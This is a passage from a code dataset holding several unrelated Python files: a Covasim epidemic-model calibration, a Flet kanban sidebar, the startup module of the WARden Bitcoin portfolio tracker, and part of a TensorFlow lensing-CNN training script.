sim.run(verbose=verbose)\n \n if return_mse:\n fit = sim.compute_fit(skestimator='mean_squared_error') #MSE\n return fit.mismatch\n else:\n return sim\n\n\n \n\n############## Calibration settings ###############\nname = 'SW_fit'\n\nW_low = 0 #0\nW_high = 0.3 #1\n\nn_workers = 2 # Define how many workers to run in parallel\nn_trials = 50 # Define the number of trials, i.e. sim runs, per worker\n\ndb_name = f'{name}.db'\nstorage = f'sqlite:///{db_name}'\n\n\n\n############### Calibration workings ##############\ndef run_trial(trial):\n ''' Define the objective for Optuna ''' \n lintv_W = trial.suggest_uniform('lintv_W', W_low, W_high)\n lintv_H = -0.3*lintv_W+1.3\n lintv = {'S':lintv_W, 'W':lintv_W, 'H':lintv_H, 'C':lintv_W}\n \n cum_d = run_sim(pars, lintv=lintv, return_mse=True, verbose=0)\n return cum_d\n\ndef worker():\n ''' Run a single worker '''\n study = op.load_study(storage=storage, study_name=name)\n output = study.optimize(run_trial, n_trials=n_trials)\n return output\n\ndef run_workers():\n ''' Run multiple workers in parallel '''\n output = sc.parallelize(worker, n_workers)\n return output\n\n\ndef make_study():\n ''' Make a study, deleting one if it already exists '''\n if os.path.exists(db_name):\n os.remove(db_name)\n print(f'Removed existing calibration {db_name}')\n output = op.create_study(storage=storage, study_name=name)\n return output\n\n\n\n\n########### Run the optimization ############\nt0 = sc.tic()\nmake_study()\nrun_workers()\nstudy = op.load_study(storage=storage, study_name=name)\nbest_pars = study.best_params\nT = sc.toc(t0, output=True)\nprint(f'\\n\\nOutput: {best_pars}, time: {T:0.1f} s')\n\n\n\n'''Best fit:\n0.23084114685289414\n'''\n## Rerunning\nI_W = 0.23084114685289414\nbasesim = make_sim(pars=pars, lintv={'W':I_W, 'C':I_W, 'S':I_W, 'H':-0.3*I_W+1.3})\n\nmsim = cv.MultiSim(basesim)\nmsim.run(n_runs=50, n_cpus=10)\nmsim.median(quantiles=[0.025, 0.975])\nmsim.save(\"second_wave_fit50.msim\")\n","repo_name":"molkjar/Bachelor","sub_path":"NYS-covasim/second_wave_fit.py","file_name":"second_wave_fit.py","file_ext":"py","file_size_in_byte":6060,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"34664586114","text":"from flet import (UserControl, Column, Container, IconButton, Row, Text, IconButton, NavigationRail, padding,\n NavigationRailDestination, TextField, alignment, border_radius , colors, icons, margin)\nfrom src.data_store import DataStore\nfrom custom.tamanos import Tamanos\nfrom custom.textos import Textos\nfrom custom.rutas import Rutas\nfrom custom.colores import Colores\nfrom custom.iconos import Iconos \n\n \nclass Sidebar(UserControl):\n\n def __init__(self, app_layout, store: DataStore, page):\n super().__init__()\n self.store: DataStore = store\n self.app_layout = app_layout\n self.nav_rail_visible = True\n self.top_nav_items = [NavigationRailDestination(label_content=Text(Textos.nav_rail_tableros),label=Textos.nav_rail_tableros,icon=Iconos.nav_rail_tableros,selected_icon=Iconos.nav_rail_tableros_activo),\n NavigationRailDestination(label_content=Text(Textos.nav_rail_miembros),label=Textos.nav_rail_miembros,icon=Iconos.nav_rail_miembros,selected_icon=Iconos.nav_rail_miembros_activo)]\n self.top_nav_rail = NavigationRail(selected_index=None,label_type=\"all\",on_change=self.top_nav_change,destinations=self.top_nav_items,bgcolor=Colores.nav_rail_top,extended=True,height=110)\n self.bottom_nav_rail = NavigationRail(selected_index=None,label_type=\"all\",on_change=self.bottom_nav_change,extended=True,expand=True,bgcolor=Colores.nav_rail_bottom)\n self.toggle_nav_rail_button = IconButton(Iconos.retroceder)\n\n def build(self):\n self.view = Container(content=Column([Row([Text(Textos.sidebar_encabezado)], alignment=\"spaceBetween\"),\n Container(bgcolor=Colores.sidebar_container_detalles_sup,\n border_radius=border_radius.all(Tamanos.sidebar_container_radioborde),\n height=Tamanos.sidebar_altura,\n alignment=alignment.center_right,\n width=Tamanos.sidebar_ancho),\n self.top_nav_rail,\n Container(bgcolor=Colores.sidebar_container_detalles_inf,\n border_radius=border_radius.all(Tamanos.sidebar_container_radioborde),\n height=Tamanos.sidebar_altura,\n alignment=alignment.center_right,\n width=Tamanos.sidebar_ancho),\n self.bottom_nav_rail], \n tight=True),\n padding=padding.all(Tamanos.sidebar_padding_all),\n margin=margin.all(Tamanos.sidebar_margin_all),\n width=Tamanos.sidebar_total_ancho,\n expand=True,\n bgcolor=Colores.sidebar_container_fondo,\n visible=self.nav_rail_visible)\n return self.view\n\n def sync_board_destinations(self):\n boards = self.store.get_boards()\n self.bottom_nav_rail.destinations = []\n for i in range(len(boards)):\n b = boards[i]\n self.bottom_nav_rail.destinations.append(NavigationRailDestination(label_content=TextField(value=b.name,\n hint_text=b.name,\n text_size=12,\n read_only=True,\n on_focus=self.board_name_focus,\n on_blur=self.board_name_blur,\n border=\"none\",\n height=50,\n width=150,\n text_align=\"start\",\n data=i),\n label=b.name,\n selected_icon=Iconos.flecha_,\n icon=Iconos.flecha_activa))\n self.view.update()\n\n def toggle_nav_rail(self, e):\n self.view.visible = not self.view.visible\n self.view.update()\n self.page.update()\n\n def board_name_focus(self, e):\n e.control.read_only = False\n e.control.border = \"outline\"\n e.control.update()\n\n def board_name_blur(self, e):\n self.store.update_board(self.store.get_boards()[e.control.data], {'name': e.control.value})\n self.app_layout.hydrate_all_boards_view()\n e.control.read_only = True\n e.control.border = \"none\"\n self.page.update()\n\n def top_nav_change(self, e):\n index = e if (type(e) == int) else e.control.selected_index\n self.bottom_nav_rail.selected_index = None\n self.top_nav_rail.selected_index = index\n self.view.update()\n if index == 0:\n self.page.route = Rutas.tableros\n elif index == 1:\n self.page.route = Rutas.miembros\n self.page.update()\n\n def bottom_nav_change(self, e):\n index = e if (type(e) == int) else e.control.selected_index\n self.top_nav_rail.selected_index = None\n self.bottom_nav_rail.selected_index = index\n self.page.route = f\"{Rutas.tablero}/{index}\"\n self.view.update()\n self.page.update()","repo_name":"coder160/flet_kanban_app","sub_path":"src/sidebar.py","file_name":"sidebar.py","file_ext":"py","file_size_in_byte":6456,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"9138374496","text":"from flask.globals import current_app\nfrom yaspin import yaspin\nimport logging\nimport subprocess\nimport configparser\nimport os\nimport sys\nimport atexit\nimport warnings\nimport socket\nimport emoji\nimport time\nimport sqlite3\nimport requests\nfrom logging.handlers import RotatingFileHandler\nfrom packaging import version\nfrom ansi.colour import fg\nfrom flask import Flask\nfrom flask_login import LoginManager, current_user\n# from flask_mail import Mail\nfrom flask_sqlalchemy import SQLAlchemy\nfrom pathlib import Path\nfrom .diags import internet_connected\nfrom apscheduler.schedulers.background import BackgroundScheduler\nfrom .ansi_management import (warning, success, error, info, clear_screen,\n muted, yellow, blue)\n\n# Make sure current libraries are found in path\ncurrent_path = os.path.abspath(os.path.dirname(__file__))\nsys.path.append(current_path)\n\n\ndef create_app():\n # Config of Logging\n from config import Config\n formatter = \"[%(asctime)s] {%(module)s:%(funcName)s:%(lineno)d} %(levelname)s in %(module)s: %(message)s\"\n logging.basicConfig(handlers=[\n RotatingFileHandler(filename=str(Config.debug_file),\n mode='w',\n maxBytes=120000,\n backupCount=0)\n ],\n level=logging.INFO,\n format=formatter,\n datefmt='%m/%d/%Y %I:%M:%S %p')\n logging.getLogger('apscheduler').setLevel(logging.CRITICAL)\n logging.getLogger('werkzeug').setLevel(logging.ERROR)\n logging.info(\"Starting main program...\")\n\n # Launch app\n app = Flask(__name__)\n app.config.from_object(Config)\n\n return app\n\n\ndef create_tor():\n from ansi_management import (warning, success, error, info, clear_screen,\n bold, muted, yellow, blue)\n from config import Config\n # ----------------------------------------------\n # Test Tor\n # ----------------------------------------------\n with yaspin(text=\"Testing Tor\", color=\"cyan\") as spinner:\n from connections import test_tor\n tor = test_tor()\n if tor['status']:\n logging.info(success(\"Tor Connected\"))\n spinner.ok(\"✅ \")\n spinner.text = success(\" Tor Connected [Success]\")\n print(\"\")\n return (tor)\n else:\n logging.error(error(\"Could not connect to Tor\"))\n spinner.fail(\"💥 \")\n spinner.text = warning(\" Tor NOT connected [ERROR]\")\n print(error(\" Could not connect to Tor.\"))\n\n print(\n info(\n \" [i] If you have a Tor Browser installed try opening (leave it running) and try again.\"\n ))\n\n print(\n info(\" [i] If you are running Linux try the command: \") +\n yellow('service tor start'))\n print(\n info(\n \" or download Tor at: https://www.torproject.org/download/\"\n ))\n print(\"\")\n\n\n# ------------------------------------\n# Application Factory\ndef init_app(app):\n from ansi_management import (warning, success, error)\n from utils import (create_config, runningInDocker)\n from config import Config\n from connections import tor_request\n warnings.filterwarnings('ignore')\n\n # Load config.ini into app\n # --------------------------------------------\n # Read Global Variables from warden.config(s)\n # Can be accessed like a dictionary like:\n # app.settings['PORTFOLIO']['RENEW_NAV']\n # --------------------------------------------\n config_file = Config.config_file\n app.warden_status = {}\n\n # Check for internet connection\n internet_ok = internet_connected()\n if internet_ok is True:\n print(success(\"✅ Internet Connection\"))\n else:\n print(\n error(\n \"[!] WARden needs internet connection. Check your connection.\")\n )\n print(warning(\"[!] Exiting\"))\n exit()\n\n # Config\n config_settings = configparser.ConfigParser()\n if os.path.isfile(config_file):\n config_settings.read(config_file)\n app.warden_status['initial_setup'] = False\n print(\n success(\n \"✅ Config Loaded from config.ini - edit it for customization\"))\n else:\n print(\n error(\n \" Config File could not be loaded, created a new one with default values...\"\n ))\n create_config(config_file)\n config_settings.read(config_file)\n app.warden_status['initial_setup'] = True\n\n table_error = False\n try:\n # create empty instance of LoginManager\n app.login_manager = LoginManager()\n except sqlite3.OperationalError:\n table_error = True\n\n # Create empty instance of SQLAlchemy\n app.db = SQLAlchemy()\n app.db.init_app(app)\n # Import models so tables are created\n from models import Trades, User, AccountInfo, TickerInfo, SpecterInfo\n app.db.create_all()\n tmpdb=app.db\n # There was an initial error on getting users\n # probably because tables were not created yet.\n # The above create_all should have solved it so try again.\n if table_error:\n # create empty instance of LoginManager\n app.login_manager = LoginManager()\n\n # If login required - go to login:\n app.login_manager.login_view = \"warden.login\"\n # To display messages - info class (Bootstrap)\n app.login_manager.login_message_category = \"secondary\"\n app.login_manager.init_app(app)\n\n # Create empty instance of messagehandler\n from message_handler import MessageHandler\n app.message_handler = MessageHandler()\n app.message_handler.clean_all()\n\n # Get Version\n print(\"\")\n try:\n version_file = Config.version_file\n with open(version_file, 'r') as file:\n current_version = file.read().replace('\\n', '')\n except Exception:\n current_version = 'unknown'\n with app.app_context():\n app.version = current_version\n\n # Check if there are any users on database, if not, needs initial setup\n users = User.query.all()\n if users == []:\n app.warden_status['initial_setup'] = True\n\n # Check for Cryptocompare API Keys\n print(\"\")\n check_cryptocompare()\n print(\"\")\n\n print(f\"[i] Running WARden version: {current_version}\")\n app.warden_status['running_version'] = current_version\n\n # CHECK FOR UPGRADE\n repo_url = 'https://api.github.com/repos/pxsocs/warden/releases'\n try:\n github_version = tor_request(repo_url).json()[0]['tag_name']\n except Exception:\n github_version = None\n\n app.warden_status['github_version'] = github_version\n\n if github_version:\n print(f\"[i] Newest WARden version available: {github_version}\")\n parsed_github = version.parse(github_version)\n parsed_version = version.parse(current_version)\n\n app.warden_status['needs_upgrade'] = False\n if parsed_github > parsed_version:\n print(warning(\" [i] Upgrade Available\"))\n app.warden_status['needs_upgrade'] = True\n if parsed_github == parsed_version:\n print(success(\"✅ You are running the latest version\"))\n else:\n print(warning(\"[!] Could not check GitHub for updates\"))\n\n print(\"\")\n # Check if config.ini exists\n with app.app_context():\n app.settings = config_settings\n with app.app_context():\n try:\n from utils import fxsymbol\n app.fx = fxsymbol(config_settings['PORTFOLIO']['base_fx'], 'all')\n except KeyError: # Problem with this config, reset\n print(error(\" [!] Config File needs to be rebuilt\"))\n print(\"\")\n create_config(config_file)\n\n # TOR Server through Onion Address --\n # USE WITH CAUTION - ONION ADDRESSES CAN BE EXPOSED!\n # WARden needs to implement authentication (coming soon)\n if app.settings['SERVER'].getboolean('onion_server'):\n from stem.control import Controller\n from urllib.parse import urlparse\n app.tor_port = app.settings['SERVER'].getint('onion_port')\n app.port = app.settings['SERVER'].getint('port')\n from warden_modules import home_path\n toraddr_file = os.path.join(home_path(), \"onion.txt\")\n app.save_tor_address_to = toraddr_file\n proxy_url = \"socks5h://localhost:9050\"\n tor_control_port = \"\"\n try:\n tor_control_address = urlparse(proxy_url).netloc.split(\":\")[0]\n if tor_control_address == \"localhost\":\n tor_control_address = \"127.0.0.1\"\n app.controller = Controller.from_port(\n address=tor_control_address,\n port=int(tor_control_port) if tor_control_port else \"default\",\n )\n except Exception:\n app.controller = None\n from tor import start_hidden_service\n start_hidden_service(app)\n\n from routes import warden\n from errors.handlers import errors\n from api.routes import api\n from csv_routes.routes import csv_routes\n from user_routes.routes import user_routes\n from simulator.routes import simulator\n app.register_blueprint(warden)\n app.register_blueprint(errors)\n app.register_blueprint(api)\n app.register_blueprint(csv_routes)\n app.register_blueprint(user_routes)\n app.register_blueprint(simulator)\n\n # Prepare app to receive Specter Server info\n # For the first load, just get a saved file if available\n # The background jobs will update later\n with app.app_context():\n from specter_importer import Specter\n app.specter = Specter()\n app.specter.refresh_txs(load=True)\n app.downloading = False\n\n with app.app_context():\n app.runningInDocker = runningInDocker()\n\n with app.app_context():\n app.tor = create_tor()\n\n # Check if home folder exists, if not create\n home = str(Path.home())\n home_path = os.path.join(home, 'warden/')\n try:\n os.makedirs(os.path.dirname(home_path))\n except Exception:\n pass\n\n # Start Schedulers\n from backgroundjobs import (background_settings_update,\n background_specter_update,\n background_scan_network,\n background_specter_health,\n background_mempool_seeker)\n\n def bk_su():\n with app.app_context():\n background_specter_update()\n\n def bk_stu():\n with app.app_context():\n background_settings_update()\n\n def bk_scan():\n with app.app_context():\n background_scan_network()\n\n def bk_specter_health():\n with app.app_context():\n background_specter_health()\n\n def bk_mempool_health():\n with app.app_context():\n background_mempool_seeker()\n\n app.scheduler = BackgroundScheduler()\n app.scheduler.add_job(bk_su, 'interval', seconds=1)\n app.scheduler.add_job(bk_stu, 'interval', seconds=1)\n app.scheduler.add_job(bk_scan, 'interval', seconds=1)\n app.scheduler.add_job(bk_specter_health, 'interval', seconds=1)\n app.scheduler.add_job(bk_mempool_health, 'interval', seconds=1)\n app.scheduler.start()\n print(success(\"✅ Background jobs running\"))\n print(\"\")\n app.app_context().push()\n\n print(success(\"✅ Application startup is complete\"))\n\n return app\n\n\ndef check_cryptocompare():\n from utils import pickle_it\n\n with yaspin(text=\"Testing price grab from Cryptocompare\",\n color=\"green\") as spinner:\n data = {'Response': 'Error', 'Message': None}\n try:\n api_key = pickle_it('load', 'cryptocompare_api.pkl')\n if api_key != 'file not found':\n baseURL = (\n \"https://min-api.cryptocompare.com/data/pricemultifull?fsyms=BTC\"\n + \"&tsyms=USD&api_key=\" + api_key)\n req = requests.get(baseURL)\n data = req.json()\n btc_price = (data['DISPLAY']['BTC']['USD']['PRICE'])\n spinner.text = (success(f\"BTC price is: {btc_price}\"))\n spinner.ok(\"✅ \")\n pickle_it('save', 'cryptocompare_api.pkl', api_key)\n return\n else:\n data = {'Response': 'Error', 'Message': 'No API Key is set'}\n except Exception as e:\n data = {'Response': 'Error', 'Message': str(e)}\n logging.error(data)\n\n try:\n if data['Response'] == 'Error':\n spinner.color = 'yellow'\n spinner.text = \"CryptoCompare Returned an error \" + data[\n 'Message']\n # ++++++++++++++++++++++++++\n # Load Legacy\n # ++++++++++++++++++++++++++\n try:\n # Let's try to use one of the\n # legacy api keys stored under cryptocompare_api.keys file\n # You can add as many as you'd like there\n filename = 'warden/static/cryptocompare_api.keys'\n file = open(filename, 'r')\n for line in file:\n legacy_key = str(line)\n\n spinner.text = (\n warning(f\"Trying different API Keys...\"))\n\n baseURL = (\n \"https://min-api.cryptocompare.com/data/pricemultifull?fsyms=BTC\"\n + \"&tsyms=USD&api_key=\" + legacy_key)\n\n try:\n data = None\n logging.debug(f\"Trying API Key {legacy_key}\")\n request = requests.get(baseURL)\n data = request.json()\n btc_price = (\n data['DISPLAY']['BTC']['USD']['PRICE'])\n spinner.text = (\n success(f\"BTC price is: {btc_price}\"))\n spinner.ok(\"✅ \")\n logging.debug(f\"API Key {legacy_key} Success\")\n pickle_it('save', 'cryptocompare_api.pkl',\n legacy_key)\n return\n except Exception as e:\n logging.debug(f\"API Key {legacy_key} ERROR: {e}\")\n logging.debug(\n f\"API Key {legacy_key} Returned: {data}\")\n spinner.text = \"Didn't work... Trying another.\"\n except Exception:\n pass\n spinner.text = (error(\"Failed to get API Key - read below.\"))\n spinner.fail(\"[!]\")\n print(\n ' -----------------------------------------------------------------'\n )\n print(yellow(\" Looks like you need to get an API Key. \"))\n print(yellow(\" The WARden comes with a shared key that\"))\n print(yellow(\" eventually gets to the call limit.\"))\n print(\n ' -----------------------------------------------------------------'\n )\n print(\n yellow(\n ' Go to: https://www.cryptocompare.com/cryptopian/api-keys'\n ))\n print(\n yellow(\n ' To get an API Key. Keys from cryptocompare are free.'\n ))\n print(\n yellow(\n ' [Tip] Get a disposable email to signup and protect privacy.'\n ))\n print(\n yellow(\n ' Services like https://temp-mail.org/en/ work well.'\n ))\n\n print(muted(\" Current API:\"))\n print(f\" {api_key}\")\n new_key = input(' Enter new API key (Q to quit): ')\n if new_key == 'Q' or new_key == 'q':\n exit()\n pickle_it('save', 'cryptocompare_api.pkl', new_key)\n check_cryptocompare()\n except KeyError:\n try:\n btc_price = (data['DISPLAY']['BTC']['USD']['PRICE'])\n spinner.ok(\"✅ \")\n spinner.write(success(f\"BTC price is: {btc_price}\"))\n pickle_it('save', 'cryptocompare_api.pkl', api_key)\n return\n except Exception:\n spinner.text = (\n warning(\"CryptoCompare Returned an UNKNOWN error\"))\n spinner.fail(\"💥 \")\n return (data)\n\n\ndef get_local_ip():\n from utils import pickle_it\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect(('8.8.8.8', 1)) # connect() for UDP doesn't send packets\n local_ip_address = s.getsockname()[0]\n pickle_it('save', 'local_ip_address.pkl', local_ip_address)\n return (local_ip_address)\n\n\ndef goodbye():\n for n in range(0, 100):\n print(\"\")\n print(\n fg.brightgreen(f\"\"\"\n \\ \\ / (_)_ _ ___ ___\n \\ V /| | '_/ -_|_-<\n \\_/ |_|_| \\___/__/\n (_)_ _\n _ _ | | ' | _\n | \\| |_ |_|_||_| ___ _ _(_)___\n | .` | || | ' \\/ -_) '_| (_-<\n |_|\\_|\\_,_|_|_|_\\___|_| |_/__/\n\"\"\"))\n\n print(fg.boldyellow(\" If you enjoyed the app...\"))\n print(\"\")\n print(\n fg.brightgreen(\n \" tipping.me (Lightning): https://tippin.me/@alphaazeta\"))\n print(\"\")\n print(\n fg.brightgreen(\n \" onchain: bc1q4fmyksw40vktte9n6822e0aua04uhmlez34vw5gv72zlcmrkz46qlu7aem\"\n ))\n print(\"\")\n print(fg.brightgreen(\" payNym: +luckyhaze615\"))\n print(fg.brightgreen(\" https://paynym.is/+luckyhaze615\"))\n print(\"\")\n\n\ndef main(debug=False, reloader=False):\n from utils import (create_config, runningInDocker)\n from ansi_management import (warning, success, error, info, clear_screen,\n bold, muted, yellow, blue)\n\n # Make sure current libraries are found in path\n current_path = os.path.abspath(os.path.dirname(__file__))\n\n # CLS + Welcome\n print(\"\")\n print(\"\")\n print(yellow(\"Welcome to the WARden <> Launching Application ...\"))\n print(\"\")\n print(f\"[i] Running from directory: {current_path}\")\n print(\"\")\n\n if runningInDocker():\n print(\n success(\n f\"✅ Running inside docker container {emoji.emojize(':whale:')} Getting some James Bartley vibes...\"\n ))\n print(\"\")\n\n app = create_app()\n app.app_context().push()\n app = init_app(app)\n app.app_context().push()\n\n def close_running_threads(app):\n print(\"\")\n print(\"\")\n print(yellow(\"[i] Please Wait... Shutting down.\"))\n # Delete Debug File\n try:\n from config import Config\n os.remove(Config.debug_file)\n except FileNotFoundError:\n pass\n # Clean all messages\n app.message_handler.clean_all()\n # Breaks background jobs\n app.scheduler.shutdown(wait=False)\n goodbye()\n os._exit(1)\n\n # Register the def above to run at close\n atexit.register(close_running_threads, app)\n\n print(\"\")\n print(success(\"✅ WARden Server is Ready... Launch cool ASCII logo!\"))\n print(\"\")\n logging.info(\"Launched WARden Server [Success]\")\n\n def onion_string():\n from utils import pickle_it\n if app.settings['SERVER'].getboolean('onion_server'):\n try:\n pickle_it('save', 'onion_address.pkl',\n app.tor_service_id + '.onion')\n return (f\"\"\"\n {emoji.emojize(':onion:')} Tor Onion server running at:\n {yellow(app.tor_service_id + '.onion')}\n \"\"\")\n except Exception:\n return (yellow(\"[!] Tor Onion Server Not Running\"))\n else:\n return ('')\n\n def local_network_string():\n host = app.settings['SERVER'].get('host')\n port = str(app.settings['SERVER'].getint('port'))\n if app.runningInDocker:\n return ('')\n else:\n if host == '0.0.0.0':\n return (f\"\"\"\n Or through your network at address:\n {yellow('http://')}{yellow(get_local_ip())}{yellow(f':{port}/')}\n \"\"\")\n\n port = app.settings['SERVER'].getint('port')\n\n # Check if this port is available\n from utils import is_port_in_use\n ports = [5001, 5002, 5003, 5004, 5005, 5006, 5007, 5008, 5009, 5010]\n if is_port_in_use(port) is True:\n # Ooops. Port in use... Let's try other ports...\n for p in ports:\n if is_port_in_use(p) is False:\n print(\n warning(\n f\"[i] Please note that port {str(port)} is in use.\"))\n print(\n warning(\n f\"[i] Port was automatically changed to {str(p)} which is free.\"\n ))\n # Reassign port\n port = p\n app.settings['SERVER']['port'] = str(port)\n break\n\n print(\n fg.brightgreen(\"\"\"\n _ _ __ ___ ____ _\n | |_| |__ ___ \\ \\ / / \\ | _ \\ __| | ___ _ __\n | __| '_ \\ / _ \\ \\ \\ /\\ / / _ \\ | |_) / _` |/ _ \\ '_ |\n | |_| | | | __/ \\ V V / ___ \\| _ < (_| | __/ | | |\n \\__|_| |_|\\___| \\_/\\_/_/ \\_\\_| \\_\\__,_|\\___|_| |_|\"\"\"))\n\n print(f\"\"\"\n {yellow(\"Powered by NgU technology\")} {emoji.emojize(':rocket:')}\n\n\n Privacy Focused Portfolio & Bitcoin Address Tracker\n -----------------------------------------------------------------\n Application Loaded\n\n Open your browser and navigate to one of these addresses:\n {yellow('http://localhost:' + str(port) + '/')}\n {yellow('http://127.0.0.1:' + str(port) + '/')}\n {local_network_string()}\n {onion_string()}\n ----------------------------------------------------------------\n CTRL + C to quit server\n ----------------------------------------------------------------\n\n \"\"\")\n\n app.run(debug=debug,\n threaded=True,\n host=app.settings['SERVER'].get('host'),\n port=port,\n use_reloader=reloader)\n\n if app.settings['SERVER'].getboolean('onion_server'):\n from tor import stop_hidden_services\n stop_hidden_services(app)\n\n\n\n\n\nif __name__ == '__main__':\n # Run Diagnostic Function\n from ansi_management import yellow\n debug = False\n reloader = False\n if \"debug\" in sys.argv:\n print(\"\")\n print(yellow(\" [i] DEBUG MODE: ON\"))\n debug = True\n if \"reloader\" in sys.argv:\n print(\"\")\n print(yellow(\" [i] RELOAD MODE: ON\"))\n reloader = True\n main(debug=debug, reloader=reloader)\n","repo_name":"yogendra-17/specterext-warden","sub_path":"src/yogendra/specterext/warden/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":23125,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"29080813158","text":"from censai.models import ModelCNNAnalytic\nfrom censai import AnalyticalPhysicalModelv2\nimport tensorflow as tf\nimport numpy as np\nfrom censai.utils import nullwriter\nimport os, time, json\nfrom datetime import datetime\n\nCNN_PARAMS = [\n \"levels\",\n \"layer_per_level\",\n \"output_features\",\n \"kernel_size\",\n \"input_kernel_size\",\n \"strides\",\n \"filters\",\n \"filter_Scaling\",\n \"filter_cap\",\n \"activation\"\n]\n\nPHYS_PARAMS = [\n \"pixels\",\n \"image_fov\",\n \"src_fov\",\n \"psf_cutout_size\",\n \"r_ein_min\",\n \"r_ein_max\",\n \"n_min\",\n \"n_max\",\n \"r_eff_min\",\n \"r_eff_max\",\n \"max_gamma\",\n \"max_ellipticity\",\n \"max_lens_shift\",\n \"max_source_shift\",\n \"noise_rms_min\",\n \"noise_rms_max\",\n \"noise_rms_mean\",\n \"noise_rms_std\",\n \"psf_fwhm_max\",\n \"psf_fwhm_min\",\n \"psf_fwhm_mean\",\n \"psf_fwhm_std\",\n]\n\n\ndef main(args):\n if args.seed is not None:\n tf.random.set_seed(args.seed)\n np.random.seed(args.seed)\n\n phys = AnalyticalPhysicalModelv2(\n pixels=args.pixels,\n image_fov=args.image_fov,\n src_fov=args.src_fov,\n psf_cutout_size=args.psf_cutout_size,\n r_ein_min=args.r_ein_min,\n r_ein_max=args.r_ein_max,\n n_min=args.n_min,\n n_max=args.n_max,\n r_eff_min=args.r_eff_min,\n r_eff_max=args.r_eff_max,\n max_gamma=args.max_gamma,\n max_ellipticity=args.max_ellipticity,\n max_lens_shift=args.max_lens_shift,\n max_source_shift=args.max_source_shift,\n noise_rms_min=args.noise_rms_min,\n noise_rms_max=args.noise_rms_max,\n noise_rms_mean=args.noise_rms_mean,\n noise_rms_std=args.noise_rms_std,\n psf_fwhm_min=args.psf_fwhm_min,\n psf_fwhm_max=args.psf_fwhm_max,\n psf_fwhm_std=args.psf_fwhm_std,\n psf_fwhm_mean=args.psf_fwhm_mean\n )\n\n cnn = ModelCNNAnalytic(\n levels=args.levels,\n layer_per_level=args.layer_per_level,\n output_features=args.output_features,\n kernel_size=args.kernel_size,\n input_kernel_size=args.input_kernel_size,\n strides=args.strides,\n filters=args.filters,\n filter_scaling=args.filter_scaling,\n filter_cap=args.filter_cap,\n activation=args.activation\n )\n\n learning_rate_schedule = tf.keras.optimizers.schedules.ExponentialDecay(\n initial_learning_rate=args.initial_learning_rate,\n decay_rate=args.decay_rate,\n decay_steps=args.decay_steps,\n staircase=args.staircase\n )\n optim = tf.keras.optimizers.deserialize(\n {\n \"class_name\": args.optimizer,\n 'config': {\"learning_rate\": learning_rate_schedule}\n }\n )\n\n # ==== Take care of where to write logs and stuff =================================================================\n if args.model_id.lower() != \"none\":\n if args.logname is not None:\n logname = args.model_id + \"_\" + args.logname\n model_id = args.model_id\n else:\n logname = args.model_id + \"_\" + datetime.now().strftime(\"%y%m%d%H%M%S\")\n model_id = args.model_id\n elif args.logname is not None:\n logname = args.logname\n model_id = logname\n else:\n logname = args.logname_prefixe + \"_\" + datetime.now().strftime(\"%y%m%d%H%M%S\")\n model_id = logname\n if args.logdir.lower() != \"none\":\n logdir = os.path.join(args.logdir, logname)\n if not os.path.isdir(logdir):\n os.mkdir(logdir)\n writer = tf.summary.create_file_writer(logdir)\n else:\n writer = nullwriter()\n # ===== Make sure directory and checkpoint manager are created to save model ===================================\n if args.model_dir.lower() != \"none\":\n checkpoints_dir = os.path.join(args.model_dir, logname)\n old_checkpoints_dir = os.path.join(args.model_dir,\n model_id) # in case they differ we load model from a different directory\n if not os.path.isdir(checkpoints_dir):\n os.mkdir(checkpoints_dir)\n with open(os.path.join(checkpoints_dir, \"script_params.json\"), \"w\") as f:\n json.dump(vars(args), f, indent=4)\n with open(os.path.join(checkpoints_dir, \"cnn_hparams.json\"), \"w\") as f:\n hparams_dict = {key: vars(args)[key] for key in CNN_PARAMS}\n json.dump(hparams_dict, f, indent=4)\n with open(os.path.join(checkpoints_dir, \"phys_hparams.json\"), \"w\") as f:\n hparams_dict = {key: vars(args)[key] for key in PHYS_PARAMS}\n json.dump(hparams_dict, f, indent=4)\n ckpt = tf.train.Checkpoint(step=tf.Variable(1), optimizer=optim, net=cnn)\n checkpoint_manager = tf.train.CheckpointManager(ckpt, old_checkpoints_dir, max_to_keep=args.max_to_keep)\n save_checkpoint = True\n # ======= Load model if model_id is provided ===============================================================\n if args.model_id.lower() != \"none\":\n checkpoint_manager.checkpoint.restore(checkpoint_manager.latest_checkpoint)\n if old_checkpoints_dir != checkpoints_dir: # save progress in another directory.\n if args.reset_optimizer_states:\n optim = tf.keras.optimizers.deserialize(\n {\n \"class_name\": args.optimizer,\n 'config': {\"learning_rate\": learning_rate_schedule}\n }\n )\n ckpt = tf.train.Checkpoint(step=tf.Variable(1), optimizer=optim, net=cnn)\n checkpoint_manager = tf.train.CheckpointManager(ckpt, checkpoints_dir, max_to_keep=args.max_to_keep)\n\n else:\n save_checkpoint = False\n\n # =================================================================================================================\n\n def train_step(y, x, noise_rms, psf_fwhm):\n with tf.GradientTape() as tape:\n tape.watch(cnn.trainable_variables)\n x_pred = cnn.call(y)\n loss = tf.reduce_mean((x_pred - x)**2)\n gradient = tape.gradient(loss, cnn.trainable_variables)\n gradient = [tf.clip_by_norm(grad, 5.) for grad in gradient]\n optim.apply_gradients(zip(gradient, cnn.trainable_variables))\n y_pred = phys.lens_source_sersic_func_vec(x_pred, psf_fwhm)\n chi_squared = tf.reduce_mean((y - y_pred)**2 / noise_rms[:, None, None, None]**2)\n return loss, chi_squared\n\n # ====== Training loop ============================================================================================\n cost = tf.metrics.Mean()\n time_per_step = tf.metrics.Mean()\n epoch_chi_squared = tf.metrics.Mean()\n history = { # recorded at the end of an epoch only\n \"cost\": [],\n \"chi_squared\": [],\n \"learning_rate\": [],\n \"time_per_step\": [],\n \"step\": [],\n \"wall_time\": []\n }\n best_loss = np.inf\n patience = args.patience\n step = 0\n global_start = time.time()\n estimated_time_for_epoch = 0\n out_of_time = False\n lastest_checkpoint = 1\n for epoch in range(args.epochs):\n if (time.time() - global_start) > args.max_time * 3600 - estimated_time_for_epoch:\n break\n epoch_start = time.time()\n cost.reset_states()\n epoch_chi_squared.reset_states()\n time_per_step.reset_states()\n with writer.as_default():\n for batch in range(args.total_items // args.batch_size):\n y, x, noise_rms, psf_fwhm = phys.draw_sersic_batch(args.batch_size)\n start = time.time()\n loss, chi_squared = train_step(y, x, noise_rms, 